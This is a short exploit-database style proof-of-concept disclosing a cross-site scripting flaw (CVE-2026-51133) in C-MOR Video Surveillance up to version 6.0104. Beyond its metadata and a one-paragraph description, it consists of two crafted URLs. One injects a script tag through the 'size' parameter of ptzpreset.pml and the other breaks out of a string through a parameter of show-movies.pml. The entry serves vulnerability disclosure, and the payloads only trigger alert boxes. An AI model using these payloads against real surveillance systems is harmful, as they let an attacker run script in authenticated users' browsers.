C-MOR 6.0104 – Cross-Site Scripting (XSS)
Proof of Concept (PoC)
poc.txt
# Exploit Title: C-MOR 6.0104 - Cross-Site Scripting (XSS)
# Google Dork: N/A
# Date: 2026-07-23
# Exploit Author: Samir Shamdin (Alb Cyber Guards)
# Vendor Homepage: https://www.c-mor.com
# Software Link: https://www.c-mor.com/
# Version: <= 6.0104
# Tested on: C-MOR Video Surveillance V6.0104
# CVE: CVE-2026-51133
# 1. Description:
# A Cross-Site Scripting (XSS) vulnerability in za-internet GmbH C-MOR Video Surveillance <= V6.0104
# allows a remote attacker to execute arbitrary client-side code via the 'size' parameter in
# the ptzpreset.pml component and the 'anyparam' in the show-movies.pml component.
# 2. Proof of Concept (PoC):
# The vulnerability can be triggered by enticing an authenticated user to click on the following crafted URLs:
# PoC URL 1 (ptzpreset.pml):
http://[TARGET]/ptzpreset.pml?cam=cam4&size=720c2usy%22%3E%3Cscript%3Ealert(%22AlbCyberGuards%22)%3C/script%3E
# PoC URL 2 (show-movies.pml):
http://[TARGET]/show-movies.pml?anyparam=%27);alert(%27XSS%27);//